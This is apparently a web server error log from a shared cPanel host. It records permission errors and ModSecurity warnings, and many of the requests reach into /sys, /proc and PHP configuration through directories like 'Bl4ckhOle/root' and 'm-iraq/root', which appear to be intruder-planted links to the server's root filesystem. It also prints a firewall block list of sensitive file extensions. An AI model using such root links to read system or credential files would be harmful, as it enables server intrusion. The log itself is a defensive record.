[Fri Jul 17 08:10:58.386682 2026] [core:crit] [pid 1994446:tid 1994446] (13)Permission denied: [client 66.249.64.171:0] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/run/chkservd.services_suspend/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/run/chkservd.services_suspend/' is executable
[Fri Jul 17 08:10:58.387199 2026] [core:crit] [pid 1994446:tid 1994446] (13)Permission denied: [client 66.249.64.171:0] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/run/imunify360-unified-access-logger/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/run/imunify360-unified-access-logger/' is executable
[Fri Jul 17 08:10:58.387325 2026] [core:crit] [pid 1994446:tid 1994446] (13)Permission denied: [client 66.249.64.171:0] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/run/restartsrv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/run/restartsrv/' is executable
[Fri Jul 17 08:10:58.387420 2026] [core:crit] [pid 1994446:tid 1994446] (13)Permission denied: [client 66.249.64.171:0] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/run/chrony/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/run/chrony/' is executable
[Fri Jul 17 08:10:58.388132 2026] [core:crit] [pid 1994446:tid 1994446] (13)Permission denied: [client 66.249.64.171:0] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/run/rpcbind/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/run/rpcbind/' is executable
[Fri Jul 17 08:10:58.388983 2026] [core:crit] [pid 1994446:tid 1994446] (13)Permission denied: [client 66.249.64.171:0] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/run/cryptsetup/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/run/cryptsetup/' is executable
[Fri Jul 17 08:10:58.389107 2026] [core:crit] [pid 1994446:tid 1994446] (13)Permission denied: [client 66.249.64.171:0] AH00529: /home/anandaob/public_html/js/Bl4ckhOle/root/run/apache2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/js/Bl4ckhOle/root/run/apache2/' is executable
[Fri Jul 17 08:10:59.431260 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:59.521470 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:10:59.799882 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:43926] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:11:00.744196 2026] [security2:error] [pid 1993570:tid 1993570] [client 85.208.96.210:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/usr/lib64/python2.7/pydoc.py"] [unique_id "almWPHjA8yK8B7kryx3eNAAAAAk"]
[Fri Jul 17 08:11:00.744345 2026] [security2:error] [pid 1993570:tid 1993570] [client 85.208.96.210:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/usr/lib64/python2.7/pydoc.py"] [unique_id "almWPHjA8yK8B7kryx3eNAAAAAk"]
[Fri Jul 17 08:11:01.342568 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:01.799312 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:03.644800 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:54120] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:11:05.075804 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:05.268498 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:05.450903 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:05.656148 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:05.656223 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:05.656251 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:05.656278 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:05.656297 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:05.656319 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:05.656340 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:05.656362 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:05.656380 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:05.656401 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:05.656419 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:05.656440 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:05.656458 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:05.656478 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:05.656517 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:05.656542 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:06.815417 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:54222] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:11:06.954040 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:54234] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:11:07.607465 2026] [core:error] [pid 1994446:tid 1994446] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/subsystem/drivers/ac/bind
[Fri Jul 17 08:11:07.762865 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:54290] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:11:07.970552 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:08.062909 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:08.337669 2026] [core:error] [pid 1999089:tid 1999089] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/memory/memory67/subsystem/uevent
[Fri Jul 17 08:11:09.774392 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:11.256332 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/hdaudio/drivers/snd_hda_codec_generic/bind
[Fri Jul 17 08:11:11.347177 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:43000] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:11:11.892228 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/memory/memory44/subsystem/uevent
[Fri Jul 17 08:11:12.641104 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:43036] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:11:14.807220 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:14.898626 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:14.989475 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:15.371892 2026] [security2:error] [pid 2002425:tid 2002425] [client 162.217.100.201:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/favicon.ico"] [unique_id "almWS6UJv0yl2bIgVrkKOQAAABU"]
[Fri Jul 17 08:11:15.631029 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:15.723332 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:15.816884 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:15.904572 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:15.995632 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:16.179370 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:16.360801 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:16.456554 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:16.456745 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:16.456801 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:16.457004 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:16.632881 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:16.725444 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:16.815872 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/tmp/tmpfo0e0g26
[Fri Jul 17 08:11:16.991789 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:43204] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:11:17.089268 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:17.180084 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:18.000561 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:18.182747 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:5/subsystem/tty32/uevent"] [unique_id "almWTg5GPQ6hs4VrfMo64gAAAAY"]
[Fri Jul 17 08:11:18.182780 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:5/subsystem/tty32/uevent"] [unique_id "almWTg5GPQ6hs4VrfMo64gAAAAY"]
[Fri Jul 17 08:11:18.548140 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:18.880595 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/ttyS0/subsystem/tty21/uevent"] [unique_id "almWThAi3pC6yjXGNq16KgAAAAU"]
[Fri Jul 17 08:11:18.880640 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/ttyS0/subsystem/tty21/uevent"] [unique_id "almWThAi3pC6yjXGNq16KgAAAAU"]
[Fri Jul 17 08:11:18.911174 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:19.001102 2026] [security2:error] [pid 1993715:tid 1993715] [client 162.217.100.201:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/cgi-sys/suspendedpage.cgi"] [unique_id "almWT3RlmrtCoY_COpcfNgAAAAg"]
[Fri Jul 17 08:11:19.015407 2026] [cgi:error] [pid 1993715:tid 1993715] [client 162.217.100.201:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden
[Fri Jul 17 08:11:19.015496 2026] [cgi:error] [pid 1993715:tid 1993715] [client 162.217.100.201:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157.
[Fri Jul 17 08:11:19.365886 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:19.730376 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:19.821384 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:20.004664 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:20.547701 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:58/subsystem/ttyS0/power/runtime_status"] [unique_id "almWUIl9vhFBGA6D8l9zOgAAAAw"]
[Fri Jul 17 08:11:20.547734 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:58/subsystem/ttyS0/power/runtime_status"] [unique_id "almWUIl9vhFBGA6D8l9zOgAAAAw"]
[Fri Jul 17 08:11:21.002400 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/memory/memory55/subsystem/uevent
[Fri Jul 17 08:11:21.099555 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:21.108332 2026] [security2:error] [pid 1994446:tid 1994446] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almWUV2NhE8i6ppze4eqxAAAAAs"], referer: http://www.anandaobauae.org/?C=S;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:11:21.108374 2026] [security2:error] [pid 1994446:tid 1994446] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almWUV2NhE8i6ppze4eqxAAAAAs"], referer: http://www.anandaobauae.org/?C=S;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:11:21.640319 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:21.730489 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:21.913788 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:22.564486 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:22.644361 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:23.194882 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:23.647910 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:23.782547 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:23.830387 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:24.372773 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:24.464296 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:24.650257 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:24.739478 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:25.458292 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:57894] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:11:25.525592 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:57912] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:11:25.651139 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:26.113790 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:57946] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:11:26.196677 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:26.471629 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:27.018809 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:27.193615 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:27.712064 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:27.994207 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:28.049714 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:28.078341 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:28.837398 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:29.138839 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:29.245615 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/gettext/projects/KDE/trigger"] [unique_id "almWWQ5GPQ6hs4VrfMo69QAAAAY"]
[Fri Jul 17 08:11:29.245653 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/gettext/projects/KDE/trigger"] [unique_id "almWWQ5GPQ6hs4VrfMo69QAAAAY"]
[Fri Jul 17 08:11:29.554333 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:29.673748 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:29.735050 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:29.853916 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:30.199455 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:30.207712 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:30.315923 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:30.495093 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:30.525559 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:30.567679 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:30.844673 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:58094] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:11:31.506593 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 47.82.49.244:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/0000:00:06.0/firmware_node/physical_node/driver/uevent
[Fri Jul 17 08:11:32.108878 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:32.141359 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:32.412697 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:37714] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:11:32.760869 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:33.298882 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:33.336870 2026] [security2:error] [pid 1994966:tid 1994966] [client 47.79.11.99:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/geoip.ini"] [unique_id "almWXbyEqmgiTSUa55oE5wAAABA"]
[Fri Jul 17 08:11:33.337778 2026] [security2:error] [pid 1994966:tid 1994966] [client 47.79.11.99:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/geoip.ini"] [unique_id "almWXbyEqmgiTSUa55oE5wAAABA"]
[Fri Jul 17 08:11:33.360351 2026] [security2:error] [pid 1994966:tid 1994966] [client 47.79.11.99:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/geoip.ini"] [unique_id "almWXbyEqmgiTSUa55oE5wAAABA"]
[Fri Jul 17 08:11:33.537109 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:33.718710 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:33.829685 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:33.856960 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:11:33.857525 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
